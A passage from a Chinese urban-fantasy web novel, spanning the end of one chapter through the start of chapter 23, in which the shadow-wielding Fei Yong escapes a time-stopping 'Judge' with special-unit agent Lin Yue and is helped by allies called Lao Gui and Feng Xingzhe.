费勇的影子突然窜出去,沿着墙根溜到月亮门边,探头探脑地往堂屋里望。秦伯正蹲在地上修葡萄架,拐杖斜靠在石桌上,杖头的藤蔓纹在阳光下闪闪发亮。堂屋的八仙桌上,还摆着林悦昨天落下的黑色皮夹,拉链没拉严,露出半截银色的证件边角。
“那你刚才还让我喝凝露藤汁?”费勇故意逗她,看着苏清月瞬间涨红的脸,像被晒过的番茄。
“那不一样!”她急得跺了下脚,鞋跟磕在青石板上笃地一声,“我亲手榨的,从采摘到榨汁都盯着,连过滤用的纱布都是新煮过的!”她突然压低声音,凑近了些,白大褂上的药味混着草木香扑过来,“而且……登记册上的规矩是死的,人是活的啊。就像秦伯的银牌,挂在青禾堂门口是护身符,真遇到裁决会的硬茬,还得靠他藏在拐杖里的铁刺不是?”
费勇顺着她的目光看向秦伯的拐杖——刚才没注意,杖身中段有圈极细的接缝,不仔细看真以为是自然的木纹。他的影子悄悄缠上去,顺着接缝摸了圈,果然摸到里面藏着的尖刺,冰凉坚硬。
“所以这玉佩……”费勇刚要再问,就听见堂屋里传来哗啦一声,是皮夹掉在地上的声音。
林悦的声音紧接着炸响,带着点被吵醒的不耐烦:“秦伯!您老能不能看着点脚底下?这皮夹要是刮花了,补办特调科证件能让你跑断腿!”
苏清月像被烫到似的,猛地把玉佩塞进费勇手里,掌心的汗沾在玉佩上,滑溜溜的。“快收起来!”她推了费勇一把,自己转身就往堂屋走,边走边喊,“秦伯您没事吧?我来帮您捡!”
费勇攥着玉佩蹲下身,影子飞快地在地上转了圈,钻进他的裤兜把玉佩藏好。冰凉的玉面贴着大腿,像是在提醒什么。他抬头时,正看见林悦弯腰捡皮夹,黑色皮衣的领口敞开着,露出里面银色的链坠——是枚小小的闪电造型,和她异能发动时指尖跳的蓝光一模一样。
“刚才跟小勇嘀咕什么呢?”林悦把皮夹揣回兜里,拉链拉得飞快,金属摩擦声有点刺耳。她的目光扫过费勇,带着点审视,像在检查什么,“我看你们俩鬼鬼祟祟的,不会是在说我坏话吧?”
“哪能啊林警官!”费勇赶紧站起来,拍了拍裤子上的灰,影子顺着裤腿爬上来,在他背后比了个鬼脸,“清月医生正叮嘱我呢,说登记检测前别吃辛辣的,免得能量波动不稳,影响评级。”
他说这话时,眼角的余光瞥见苏清月正在给秦伯递创可贴——秦伯捡皮夹时被石桌角蹭破了手,血珠渗出来,染红了拐杖头的藤蔓纹。苏清月低头撕包装的样子很认真,睫毛垂着,像在给藤蔓花系蝴蝶结。
“算她有良心。”林悦哼了声,从包里掏出个金属检测仪,在费勇面前晃了晃,“赶紧的,特调科的检测车快到了,再磨蹭真要错过评级了。”她突然笑了下,嘴角的弧度比昨天柔和些,“对了,A级异能者能领套定制的暗影增幅器,黑色的,上面也有藤蔓纹,跟秦伯的拐杖配成一套,你说逗不逗?”
费勇的心跳漏了一拍,下意识摸了摸裤兜——玉佩还在,冰凉的触感透过布料传过来。他看着林悦手里的检测仪,屏幕上闪着微弱的红光,正对着他藏玉佩的位置。
“逗,太逗了。”费勇干笑两声,影子突然缠上林悦的脚踝,轻轻一拽。林悦踉跄了下,检测仪差点掉地上,她瞪了费勇一眼,却没真生气:“笑什么笑,赶紧走!再晚了让你跟D级异能者挤一辆检测车,闻一路汗味!”
苏清月在后面喊:“记得空腹啊!别偷偷吃秦伯的桂花糕!”
费勇回头时,正看见她把创可贴的包装纸扔进竹篮,动作轻快得像只衔泥的燕子。秦伯的拐杖靠在她脚边,杖头的血迹被她用湿巾擦得干干净净,藤蔓纹在阳光下亮得刺眼。
他的影子在地上蹭了蹭,像在点头。裤兜里的玉佩好像也热了些,贴着大腿的地方,隐约能摸到那个“月”字,刻得又轻又深。
第19章:影遁的极限
费勇的指尖刚触到青禾堂的木门,就被一股灼热的气流烫得缩回手。林悦已经跨出门去,黑色皮衣的下摆被检测车的尾气吹得猎猎作响,她回头时,耳坠上的银色闪电吊坠晃了晃,像在催他快点。
“磨磨蹭蹭的干什么?”林悦的声音裹着风砸过来,“再晚五分钟,检测仪器的校准时间就过了,到时候只能等明天!”
费勇兜里的油纸包硌着大腿,秦伯塞给他时特意用粗麻绳捆了三道,桂花糕的甜香混着油纸的草木味钻出来,和苏清月白大褂上的凝露藤香奇妙地缠在一起。他的影子顺着门缝溜出去,在地上打了个滚,回来时拖了片林悦掉落的指甲盖大小的皮衣碎料——是刚才被葡萄架勾破的。
“来了。”费勇攥紧碎料往兜里塞,指尖突然触到个冰凉的东西,是苏清月给的那枚玉佩。刚才跑得急,影子没藏好,玉佩从裤兜滑到了卫衣口袋里,边缘的“月”字正好硌在他的掌心。
检测车是辆改装过的黑色越野车,车身上印着银色的闪电标志,和林悦的吊坠如出一辙。后车门敞开着,里面亮着冷白色的灯,照得林悦的侧脸像覆了层霜。她正弯腰调试个巴掌大的仪器,屏幕上跳动的绿色波纹突然刺啦一声变成红色,林悦低骂一句:“该死,裁决会的追踪信号又扫过来了。”
费勇刚要上车,影子突然在他脚边竖起道墙——是秦伯的拐杖!老人不知什么时候跟了出来,拐杖头的铁刺还露在外面,闪着寒光。“小勇,把这个带上。”秦伯往他手里塞了个油纸包,比刚才那个小些,“清月丫头说这是‘醒神草’,嚼着能提神,免得影遁时晕过去。”
费勇的影子突然缠上拐杖,顺着木纹摸到那圈接缝,轻轻一旋——咔嚓一声,里面弹出个小指长的金属管,装着半管墨绿色的汁液,标签上写着“应急用·凝露藤浓缩液”。秦伯的脸红了红,把拐杖往身后藏:“清月丫头非要我塞给你,说……说比特调科的能量剂管用。”
“秦伯!”林悦在车里喊,“信号强度到80%了!再不上车我直接开了!”她的指尖迸出蓝色的火花,在仪器上飞快地点着,“审判长的追踪频率变了,像是换了新的定位器!”
费勇把小油纸包塞进卫衣内侧口袋,玉佩隔着布料硌着胸口,像块小小的冰。他刚抬腿上车,就被林悦拽了把胳膊,力道大得差点让他撞在车门上。“坐稳了!”林悦的声音带着电流的麻感,“第一波影遁要来了,别吐我车上!”
话音刚落,费勇就觉得眼前一花。不是晕,是真的“花”了——车窗外的树影、路灯、秦伯的身影,突然像被揉皱的纸,拧成一团又猛地展开。他的影子在车厢地板上狂舞,顺着座椅缝隙钻到林悦脚边,被她踩了一脚才老实下来。
“这是第一次!”林悦的声音像从很远的地方传来,“感受影子里的能量流动,别硬抗!”
费勇的指尖发麻,刚才摸到的皮衣碎料不知什么时候跑到了手里,上面还沾着根细得几乎看不见的银线——是林悦链坠上掉下来的。他下意识攥紧,影子突然暴涨,在车顶上撑开个盾形,挡住了窗外扫来的一道红光。
“不错啊。”林悦的声音里带了点笑意,“还知道用影子挡追踪射线。”她的指尖在仪器上敲得更快,蓝色的电流顺着方向盘爬上来,在仪表盘上绕了圈,“第二次要来了,集中精神!”
第二次影遁比第一次更猛,费勇觉得五脏六腑都在晃,像被装进了滚筒洗衣机。他的影子突然拉长,顺着林悦的影子爬过去,指尖刚触到她的手腕,就被一股灼热的电流烫得缩回来——林悦的异能正在暴走,仪表盘上的指针疯狂转圈,蓝色的火花溅到她的手背上,留下小小的焦痕。
“别碰我!”林悦的声音有点抖,“我的电流会干扰你的影子能量!”她的额角渗出汗珠,顺着下颌线滑下来,滴在仪器上,发出嗞的一声轻响,“审判长的时间停滞快到了,我们必须在他发动前完成第三次影遁!”
费勇的影子突然分成两半,一半撑着盾,一半缠上林悦的手腕,小心翼翼地避开那些火花。他摸到她手背上的焦痕,影子突然渗出墨绿色的汁液——是秦伯给的凝露藤浓缩液,顺着皮肤渗进去,焦痕以肉眼可见的速度变淡。
“你……”林悦的动作顿了顿,电流突然弱了些,“你影子里怎么会有凝露藤的味道?”
“清月医生给的。”费勇的声音有点飘,第三次影遁的眩晕感压得他喘不过气,“她说……比能量剂管用。”
林悦没再说话,只是电流的颜色变了,从刺目的亮蓝变成柔和的浅蓝,像初夏的天空。第三次影遁结束时,费勇看到车窗外的景象变了——刚才的街道变成了废弃工厂的围墙,上面爬满了枯萎的藤蔓,影子落在上面,突然长出新的绿芽。
“第四次。”林悦的声音稳了些,“这次距离最长,大概三公里,可能会穿墙,做好心理准备。”
费勇的影子突然钻进卫衣口袋,把那枚玉佩顶了出来,冰凉的玉面贴着下巴,让他清醒了不少。他嚼了片醒神草,辛辣的味道从舌尖窜到头顶,影子突然变得格外清晰,连林悦发丝间藏着的银线都能看清。
穿墙的瞬间,费勇以为自己会被挤扁。但没有——影子像水一样裹着他,穿过砖块、钢筋,甚至能感觉到林悦的电流在墙的另一边织了张网,护住了车头。等他们从墙的另一边钻出来,费勇的影子上沾了片砖屑,而林悦的袖口多了道口子,是被钢筋划的。
“第五次。”林悦的呼吸有点急,却还在笑,“看到前面那栋楼了吗?审判长的车就在楼顶,我们从他眼皮底下穿过去!”
费勇的影子突然兴奋起来,在车厢里跳了段奇怪的舞。他摸一下胸口的玉佩,突然明白苏清月为什么说“人是活的”——秦伯的拐杖、清月的凝露藤、林悦的电流,甚至自己这不听话的影子,都在以各自的方式,把散落的碎片拼起来。
第五次影遁穿过楼顶时,费勇真的看到了审判长的车。黑色的,比他们的车大一圈,车顶架着个旋转的发射器,红光就是从那里来的。审判长的影子从车窗伸出来,像只巨大的手,抓向他们的车顶。
“就是现在!”林悦大喊,电流顺着天线射出去,击中了发射器。费勇的影子同时扑上去,缠住那只大手,借着爆炸的火光完成了第六次影遁。
落地时,车停在了条陌生的巷子里。林悦趴在方向盘上,肩膀微微耸动,刚才为了挡爆炸的冲击波,她用电流织了面盾,现在手背上满是细小的伤口。费勇的影子爬过去,沾着凝露藤汁液的指尖轻轻碰了碰她的伤口。
“第七次……”林悦的声音有点哑,“也是最后一次,直接到特调科的地下检测中心。”她抬起头,眼底有红血丝,却笑得很亮,“准备好了吗?”
费勇摸着胸口的玉佩,又摸了摸内侧口袋里的醒神草,影子在他脚边转了个圈,像在点头。他突然想起苏清月的话——“青禾堂的藤蔓缠得再紧,也得给后人留条能喘气的缝”。或许影遁的极限不是七次,是每次影遁时,那些愿意托着你、护着你、陪着你的人。
第七次影遁的光芒亮起时,费勇的影子和林悦的影子在车厢地板上紧紧缠在一起,像两棵缠绕生长的藤蔓。他嚼着醒神草,尝到了点桂花糕的甜味,混着凝露藤的微苦,还有电流的麻感,意外地不难吃。
第20章:审判长的威压
金属门闭合的闷响还没散尽,头顶传来的撞击声就像重锤敲在铁皮上,震得费勇耳膜发疼。他刚扶着墙壁站稳,林悦手里的仪器突然发出刺耳的尖叫,屏幕上的红光像泼翻的血,瞬间漫过整个界面——追踪信号的强度条死死钉在100%,连带着空气都仿佛被染上灼热的温度。
“他怎么可能找到这里?”林悦的声音里带着难以置信的紧绷,指尖的电流噼啪作响,在仪器表面灼出细小的焦痕,“特调科的屏蔽层能挡卫星定位,除非……”她猛地转头看向走廊深处,眼神锐利如刀,“这里有内鬼!”
费勇的影子顺着墙壁爬上去,在天花板的裂缝里转了个圈,突然绷直如弦——走廊尽头的安全出口指示灯下,站着个穿白大褂的男人,手里捏着根金属管,管身的纹路和秦伯拐杖里那支凝露藤浓缩液的容器一模一样。那人似乎察觉到视线,缓缓转过身,口罩上方的眼睛里没有任何情绪,像两潭结了冰的死水。
“审判长的‘定位信标’,”林悦低骂一声,拽着费勇往检测室冲,电流在两人身侧织成半透明的屏障,“这玩意儿能通过能量共振追踪,屏蔽层根本拦不住。”她的手背上还留着刚才挡爆炸时的细小伤口,此刻因为用力,指节泛白,伤口边缘渗出淡淡的血丝。
费勇被她拽得踉跄了两步,影子却自动拖后半米,像块粘性极强的黑胶,在地面上留下淡淡的痕迹——那是他刚才嚼碎的醒神草残渣,混着影子能量,能暂时模糊追踪信号。他眼角的余光瞥见那个白大褂正把金属管往墙上按,接触点的瓷砖瞬间泛起灰黑色,像被霉菌侵蚀。
“左边第三个门!”林悦突然变向,拽着他拐进条更窄的通道,“检测室有独立的能量***,能撑五分钟。”她的呼吸有些急,却不忘回头瞪费勇一眼,“等下不管看到什么,别乱碰仪器!”
推开门的瞬间,费勇闻到了浓烈的臭氧味,混杂着金属冷却后的腥气。检测室比想象中小,正中央的仪器像只伏在地上的金属甲虫,表面布满闪烁的指示灯,发出低沉的嗡鸣。林悦冲过去按了墙上的红色按钮,厚重的合金挡板从天花板落下,将门口封得严严实实,仪器屏幕上的红光终于淡下去一些。
“还有四分十七秒。”林悦盯着计时器,指尖在控制台上飞快跳跃,调出密密麻麻的数据流,“审判长的‘时间停滞’有范围限制,我们得在他突破挡板前……”
话音未落,挡板突然发出一声巨响,像是被巨锤砸中,表面瞬间凹下去一块。费勇的影子猛地窜起,在天花板上织成密不透风的黑网,网眼间渗出墨绿色的汁液——是秦伯给的凝露藤浓缩液,遇到强烈冲击会迅速凝固成韧性极强的胶状物质。
“他来了。”林悦的声音沉得像浸了冰,电流在她周身盘旋成细小的漩涡,“等下他发动停滞时,你尽量往仪器后面躲,那玩意儿的合金外壳能缓冲时间场的影响。”她顿了顿,突然从口袋里摸出枚银色的硬币塞给费勇,“这是特调科的应急信号器,捏碎了能引来附近的巡逻队,虽然……可能来不及。”
硬币的边缘很锋利,费勇攥在手心,感觉到冰凉的金属正慢慢变得温热——那是林悦的电流残留。他突然想起第七次影遁时,两人影子重叠的瞬间,那股灼热又麻痒的触感,像有细小的电火花顺着血管窜。
挡板又被击中了,这次的声音更沉闷,凹痕处裂开蛛网般的细纹。费勇的影子自动缠上林悦的脚踝,像条警惕的蛇,随时准备在她被攻击时拽她后退。他看到林悦的喉结动了动,似乎想说什么,却最终只是咬了咬牙,将电流凝聚成指尖的一点亮蓝。
“记住,时间停滞结束的瞬间最关键。”她的声音压得极低,几乎贴着费勇的耳朵,“他的能力有冷却时间,大概三秒,够我们……”
最后一个字被淹没在震耳欲聋的巨响里。挡板像块被踩碎的饼干,碎片四溅。费勇只觉得眼前一花,所有的声音都消失了——不是听不见,而是像被按下了静音键,林悦飞扬的发丝悬在半空,电流漩涡凝固成晶莹的蓝色雕塑,连空气中漂浮的尘埃都停在原地。
时间停滞了。
费勇能感觉到自己的心脏还在跳,却像隔着层厚厚的棉花,每一次搏动都慢得让人窒息。他看到一个穿黑色长袍的***在门口,兜帽下的脸藏在阴影里,只露出一截苍白的下巴,指尖正对着林悦的胸口。
就是这个人?审判长?
费勇的视线不受控制地跟着那根手指移动,看到林悦嘴角溢出的血珠悬在半空,看到她眼底一闪而过的惊愕,看到自己的影子正以肉眼难辨的速度爬向审判长的脚边——它在对抗时间场?
停滞的一秒漫长得像一个世纪。
当时间突然恢复流动时,费勇听到的第一声是林悦撞上仪器的闷响,第二声是自己影子撕裂空气的锐鸣。他甚至来不及思考,身体已经跟着影子扑了过去,指尖触到林悦后背的瞬间,影子突然暴涨,在她身前织成半米厚的盾,盾面上还沾着没凝固的凝露藤汁液。
“咳咳……”林悦趴在仪器上,肩膀剧烈起伏,咳出的血滴在金属外壳上,晕开小小的红痕,“蠢货!谁让你挡的?”
费勇没理她,眼睛死死盯着审判长。那人的黑袍在刚才的冲击中被撕开一道口子,露出里面银色的纹路,像某种复杂的符咒。他抬起手,指尖还残留着淡紫色的能量波动,那是时间停滞的余韵。
“两个有趣的样本。”审判长的声音像生锈的铁片在摩擦,“暗影重构与雷霆掌控,倒是罕见的组合。”他的目光扫过费勇的影子盾,又落回林悦身上,“特调科的小丫头,你父亲当年也像你这么犟。”
林悦猛地抬头,眼里的电流瞬间炸开:“你认识我父亲?”
“认识?”审判长笑了,笑声里带着说不出的阴冷,“十年前那场‘觉醒潮’,就是我亲手……”
话没说完,他突然侧身躲开一道黑影。费勇的影子像条鞭子抽了过去,末端还缠着枚硬币——是林悦给的信号器,此刻正发出刺耳的尖啸。审判长的袖口被影子扫中,瞬间腐蚀出个黑洞,他眼神一沉,抬手就要发动时间停滞。
“就是现在!”林悦突然拽着费勇往侧面翻滚,同时释放出高压电流,整个检测室的仪器都发出滋啦的短路声,“他的时间场会被强电流干扰!”
费勇的影子趁机爬上审判长的脚踝,猛地收紧。他感觉到一股陌生的能量顺着影子涌过来——是林悦的雷霆之力!刚才影子和她的电流接触时,竟然悄悄复制了一丝?虽然微弱,却足够在审判长的时间场里制造出瞬间的紊乱。
审判长的动作顿了半秒,就是这半秒,让林悦的电流网成功罩住了他的上半身。蓝色的电弧在黑袍上炸开,露出里面更密集的银色纹路,那些纹路亮起红光,竟在吸收电流!
“没用的。”审判长的声音带着嘲弄,“时间能量能转化一切攻击。”他抬手按向胸口,红光更盛,林悦的电流竟被他硬生生逼了回来。
费勇看到林悦的脸色瞬间白了,知道她快撑不住了。影子突然做出一个他没预料到的动作——它松开审判长的脚踝,转而钻进林悦的影子里,将刚才复制的雷霆之力全渡了过去。
“!”林悦猛地抬头,眼里闪过震惊,随即咬着牙将两股电流合二为一,硬生生在审判长胸前炸开一道口子,“费勇!带信号器快走!去B区找老鬼!”
费勇没动。他的影子正顺着审判长的黑袍往上爬,那些银色纹路在接触到影子的地方,竟然开始褪色。他想起苏清月给的玉佩,摸出塞进林悦手里:“这个能挡能量冲击。”
审判长显然没料到他们还能反击,眼中闪过一丝讶异,随即化为暴怒。他周身的空气开始扭曲,显然是要发动更强的时间停滞。费勇的影子突然从黑袍里钻出来,拖着一缕银色的线——那是从纹路上扯下来的能量丝。
“走!”林悦用尽全身力气将他往外推,电流在身后形成最后的屏障,“我断后!”
费勇被推得踉跄着冲出检测室,身后传来能量爆炸的巨响。他攥紧手里的影子线,那上面还残留着审判长的能量波动,像根滚烫的针。走廊尽头的白大褂已经不见踪影,只有地上的金属管还在微微发烫。
第21章:复制雷霆
走廊的应急灯忽明忽暗,把费勇的影子拉得老长,像条慌不择路的蛇。手里那缕从审判长黑袍上扯下的银色能量丝烫得惊人,顺着指尖往胳膊上爬,留下一串细密的灼痕——这玩意儿比林悦的电流更霸道,简直像根烧红的铁丝。
“操!”他猛地撞开一扇虚掩的门,差点被地上的文件堆绊倒。身后的脚步声像装了扩音器,每一下都踩在心跳的鼓点上,审判长那锈铁片似的声音隔着墙传过来:“暗影本源的味道……真是令人怀念啊。”
费勇反手带上门,后背抵住冰凉的金属柜,才发现自己闯进了间档案室。空气里飘着旧纸张特有的霉味,天花板的吊扇积着厚厚的灰,转起来发出“嘎吱嘎吱”的**,倒把审判长的脚步声盖过去不少。
“躲在这里可不算聪明。”审判长的声音突然出现在门外,吓得费勇差点咬到舌头。他慌忙往文件柜深处钻,膝盖撞到铁皮柜的棱角,疼得眼冒金星。影子却比他镇定,顺着柜底的缝隙溜出去,在门口织了层薄薄的黑纱——这是他刚从林悦那里学来的小把戏,用影子模拟环境色,虽然只能骗骗肉眼,总比坐以待毙强。
“小家伙,你手里的能量丝是从哪来的?”审判长似乎没打算立刻进来,声音里带着猫捉老鼠的戏谑,“那是用时间能量编织的‘锁魂线’,沾了就甩不掉,除非……”
话没说完,费勇突然感觉手心一烫。那缕银色能量丝像是活了过来,顺着手臂缠上脖子,勒得他喘不过气。影子瞬间暴怒,猛地从门缝里抽回来,在他周身织成密不透风的茧,黑沉沉的影子上竟噼啪闪过几道蓝色的火花——是林悦的雷霆之力!
“嗯?”审判长的声音里终于有了点意外,“能同时操控暗影与雷霆……有点意思。”
费勇死死攥着拳头,任由那股陌生的电流在影子里窜动。他想起林悦被推出去时,手背上崩裂的伤口,想起她塞进自己手里那枚银色硬币(此刻正硌在掌心,边缘的棱角嵌进肉里),想起检测室里那道被时间停滞冻结的血珠——那瞬间的愤怒像团火,顺着血管烧到影子里,竟让那些借来的雷霆之力沸腾起来。
“砰!”门板被一股无形的力量掀开,审判长的黑袍下摆扫过门槛,带起的风卷得文件漫天飞舞。他兜帽下的脸依旧藏在阴影里,只有那截苍白的下巴动了动:“让我看看,你能复制多少?”
费勇没敢回话。他学着林悦的样子,试着将影子里的电流往指尖聚——这感觉就像用左手写毛笔字,别扭得要命,好不容易攒起的一点电火花还没飞出去,就“啪”地炸在自己手背上,疼得他龇牙咧嘴。
审判长低低地笑了,笑声里的阴冷几乎要凝成实质:“就这点能耐?”他抬手的瞬间,费勇突然想起林悦的话——时间停滞结束的瞬间最关键。
影子抢先一步做出反应,猛地拽着他往旁边扑。几乎是同时,周围的空气凝固了。费勇眼睁睁看着审判长的指尖离自己的脸只有半尺,那截苍白的下巴近在眼前,甚至能看到黑袍下露出的银色纹路在微微发光。
这一次的停滞比刚才长了半秒。费勇的影子却没闲着,顺着审判长的脚踝往上爬,那些蓝色的电火花像找到突破口的水流,顺着对方的黑袍纹路疯狂涌入。当时间恢复流动的刹那,审判长突然闷哼一声,往后退了半步——他黑袍上的银色纹路竟被电流烧黑了一块!
“你找死!”审判长的声音终于带上了怒意。他周身的空气开始扭曲,费勇甚至能看到周围的文件在空中静止、碎裂、重组,像盘被打乱的录像带。
“就是现在!”费勇突然想起林悦教他的发力诀窍,猛地将影子里的雷霆之力全灌进那缕银色能量丝里。原本勒着脖子的能量丝瞬间炸开,蓝色的电流顺着丝线反扑回去,在审判长胸前炸出一团刺眼的光。
档案室的吊扇“哐当”一声掉下来,正好砸在两人中间。费勇借着烟尘的掩护往后滚,后背重重撞在个软软的东西上。
“哎哟喂!”一个苍老的声音从文件堆里冒出来,“哪个混小子砸到老夫的茶缸子了?”
费勇惊得差点蹦起来。只见刚才他躲进来的文件柜后面,不知何时坐了个穿灰色中山装的老头,鼻梁上架着副断了腿的老花镜,正用根橡皮筋绑着镜腿。老头手里捏着个缺了口的搪瓷缸,里面的茶叶沫子撒了一身,怀里还揣着本泛黄的文件,封面上的符号和苏清月给的玉佩一模一样。
“老鬼?”费勇脱口而出,想起林悦最后那句话。
老头眯着眼睛打量他,突然咧嘴一笑,露出颗金灿灿的假牙:“小家伙反应挺快。”他指了指怀里的文件,“你手里那缕‘锁魂线’,就是解开这上面秘密的钥匙——不过得用雷霆烧过才行,你这误打误撞的本事,倒省了老夫不少事。”
审判长的黑袍已经穿透烟尘,银色纹路在黑暗中亮起红光。老鬼突然把文件塞进费勇怀里,往他手里塞了块冰凉的东西——是半截断了的钢笔,笔帽上刻着个“晓”字。
“拿着这个去图书馆302,找个叫风行者的臭小子。”老鬼拍了拍他的肩膀,影子突然像水一样漫开,将整个档案室的文件都卷了起来,“老夫这把老骨头,还能陪这位审判长玩玩时间游戏。”
费勇还想说什么,却被影子猛地往前一推,撞开后墙的通风口。身后传来老鬼中气十足的骂声:“你个糟老头子!当年偷我茶缸子的账还没算呢!”紧接着是能量爆炸的巨响,热风夹杂着纸灰扑面而来。
他钻进通风管道,怀里的文件烫得惊人,那半截钢笔却凉丝丝的,正好压下锁魂线的灼痛。影子在管道壁上飞快地爬,留下串串蓝色的电火花——这次不是借来的雷霆,而是他自己的影子,正学着消化那股陌生的力量。
“等着吧林悦,”费勇咬着牙往前爬,金属管道硌得膝盖生疼,“下次就换我来护着你。”
第22章:反噬的代价
通风管道的铁皮刮得费勇胳膊生疼,他像只被追急了的耗子,在漆黑的管道里连滚带爬。怀里的文件边角戳着肋骨,老鬼给的半截钢笔硌在腰侧,冰凉的金属感成了唯一的清醒剂。就在他感觉肺快要炸开时,前方突然透出微光——是通风口的格栅。
“操!”他用胳膊肘狠狠撞过去,锈迹斑斑的格栅应声而落,整个人失去平衡,像袋破布似的摔了出去。
落地的瞬间,费勇闻到了熟悉的消毒水味混着旧书纸的气息。抬头一看,差点哭出来——这不是星海学院图书馆的阅览区吗?靠窗的位置还摆着他上周占座用的《高等数学》,书页被风吹得哗哗响,像是在嘲笑他的狼狈。
他挣扎着想爬起来,脑袋却突然像被塞进了旋转门,天旋地转的眩晕感从太阳穴炸开,顺着脊椎往下窜。“唔……”费勇捂着额头蹲下去,指尖摸到一手冷汗,视线里的书架开始扭曲,像融化的巧克力。
坏了。他心里咯噔一下。
影子在这时出了状况。原本紧贴着地面的黑影像被戳破的气球,边缘开始变得透明,那些刚学会驾驭的蓝色电火花噼里啪啦地炸开,像过年时放脱了手的小鞭炮,在地毯上留下一个个焦黑的小坑。
“反噬来得这么快?”费勇咬着牙想调动影子,却发现它们像生了锈的齿轮,怎么都转不动。他想起林悦提过的话:“复制高阶异能就像借高利贷,爽完就得连本带利还回去。”当时只当是吓唬人,现在才知道,这利息简直能要命。
更糟的是,攥在手里的那缕银色能量丝——老鬼说的“锁魂线”,突然像活过来的蛇,顺着他的指尖溜走。费勇眼睁睁看着它在地毯上扭动、编织,最后形成一个诡异的符号:像是只没有瞳孔的眼睛,正死死盯着自己。
“喂,老鬼说的人就是你?”
一个咋咋呼呼的声音突然在头顶响起。费勇抬头,只看到一道白影“嗖”地从眼前闪过,带起的风掀乱了他的刘海。等他眨掉眼里的金星,才发现阅览区的长桌上站着个穿白色运动服的少年,嘴里叼着根草莓味的棒棒糖,滑板在桌沿轻轻晃动。
少年约莫十七八岁,头发染成张扬的银白色,左耳戴着枚黑色耳钉,上面嵌着个小小的“晓”字——和老鬼给的那半截钢笔上的字一模一样。他歪着头打量费勇,眼神里满是毫不掩饰的挑剔:“就这?老鬼把你吹得天花乱坠,我还以为是多大能耐的角色呢。”
费勇刚想开口,又是一阵眩晕袭来,他踉跄着扶住身后的书架,指节因为用力而发白。影子的颜色变得更淡了,几乎快要和地毯的深色融为一体,只剩下几缕微弱的黑气还在挣扎。
“反噬得挺厉害啊。”少年从桌上跳下来,滑板在地面滑出个漂亮的弧线,停在费勇面前,“复制了审判长的时间能量?还是林悦那丫头的雷霆?”他用脚尖点了点地上的银色符号,“啧,被‘锁魂线’缠上,你小子运气够背的。”
费勇这才认出,这少年就是老鬼说的“风行者”。他想问问林悦的情况,喉咙里却像堵着团棉花,只能发出含混的气音。风行者见状,撇了撇嘴,从口袋里摸出个银色的小瓶子,扔了过来:“喏,破晓的‘醒神剂’,比你那什么凝露藤管用。”
瓶子砸在费勇怀里,他拧开一闻,一股辛辣的薄荷味直冲脑门,混沌的脑袋瞬间清醒了几分。他倒出一粒深绿色的药丸吞下,冰凉的药液顺着喉咙滑下去,像有条小蛇钻进胃里,随即扩散成一股暖流,缓缓修复着透支的身体。
“谢……”
“少废话。”风行者打断他,滑板突然腾空而起,在半空中转了个圈,稳稳落在他脚下,“锁魂线形成的‘定位符’能引来裁决会的追兵,不出三分钟,这里就得被执法者包围。不想死就跟我走。”
费勇看着地上那只“眼睛”符号,确实感觉到周围的空气变得越来越冷,像是有无数双眼睛正从图书馆的各个角落望过来。他咬了咬牙,强撑着站直身体,影子虽然依旧虚弱,却不再淡化,反而顺着风行者的影子轻轻蹭了蹭——像是在寻求庇护。
“你的滑板……能载人吗?”费勇问道,声音还有些发虚。
风行者挑了挑眉,突然伸手抓住他的胳膊。费勇只觉得眼前的景象猛地被拉长,书架、桌椅、吊灯都变成了模糊的色块,耳边传来尖锐的呼啸声,像是被塞进了高速行驶的列车。他下意识地闭上眼,却能清晰地感觉到,自己的影子正紧紧贴着风行者的影子,像两尾相濡以沫的鱼,在飞速流动的光影中穿梭。
“抓紧了!”风行者的声音在耳边炸开,带着少年人特有的张扬,“带你体验下什么叫超音速!”
费勇的心跳得像要炸开,却在这极致的速度中,隐约感觉到影子里那股属于雷霆的力量,正和体内的暗影能量慢慢融合。虽然微弱,却真实存在——就像暴风雨过后,埋在土壤里的种子,正悄悄积蓄着破土而出的力量。
他不知道风行者要带自己去哪里,也不知道林悦是否安全,更不知道老鬼能不能顶住审判长的攻击。但此刻,贴着风行者温暖的影子,感受着那股无所畏惧的速度,费勇突然觉得,这场该死的反噬,似乎也没那么难熬。
第23章:老鬼的信息
风行者的超音速移动带着股蛮横的力道,费勇感觉自己的胳膊快被拽脱臼了。图书馆的书架在眼前连成一片模糊的棕色洪流,耳边除了风啸就是自己的心跳声,像有面鼓在胸腔里疯狂擂动。他下意识闭上眼,却能清晰地“看”到风行者的影子——那团银白色的影子边缘泛着气流的涟漪,正拖着自己的影子在地面上狂奔,像拖着片不肯服输的墨渍。
“到了!”风行者突然刹车,费勇差点一头撞在墙上。等他踉跄着站稳,才发现眼前是道嵌在书架后的暗门,门板上刻着和老鬼钢笔上一样的“晓”字,只是笔画更繁复,像只展开翅膀的鸟。
身后传来杂乱的脚步声,夹杂着金属碰撞的脆响——执法者的“异能抑制器”。费勇的影子瞬间绷紧,虽然还虚弱,却本能地往暗门里缩,像只受惊的蜗牛。
“还愣着?”风行者踹了他一脚,自己先钻了进去,“老鬼说这密道能屏蔽‘锁魂线’的信号,再磨蹭就得被裁决会的杂碎包饺子了!”
费勇跟着钻进暗门,扑面而来的是股潮湿的土腥味,混着淡淡的油墨香。风行者不知从哪摸出个荧光棒,掰亮了扔在地上,幽绿的光线下,能看到这条密道窄得只能容一人通过,两侧的墙壁上布满划痕,像是被什么东西长期摩擦过。
“这是老鬼的杰作。”风行者用脚尖踢了踢墙角的一个旧手电筒,“那老头年轻时是挖地道的好手,当年学院扩建,他愣是在图书馆地下刨出了这玩意儿,美其名曰‘信息安全通道’。”
费勇的注意力却被墙壁吸引了。荧光棒的光线下,左侧墙壁上竟画着幅巨大的《星空图》,用深蓝色的颜料绘制,星辰的位置标注得极其精确,甚至能认出猎户座的腰带。最奇怪的是,那些星辰的连线组成的图案,和他怀里那份旧文件封面上的符号隐隐重合。
“别看了,快走!”风行者拽着他往前跑,可没跑两步又猛地停下,指着那幅《星空图》咋咋呼呼道,“等等!老鬼说过,解开这图的秘密,就能找到‘暗影本源’的线索!”
费勇还没来得及细问,密道尽头突然传来“轰隆”一声巨响,紧接着是石门落锁的沉重闷响。两人同时回头,只见原本畅通的通道被堵得严严实实,荧光棒的光线照在石门上,反射出冰冷的金属光泽。
“操!”风行者一脚踹在石门上,震得自己龇牙咧嘴,“执法者还带了‘重力锁’?这玩意儿得用特定频率的能量才能打开!”
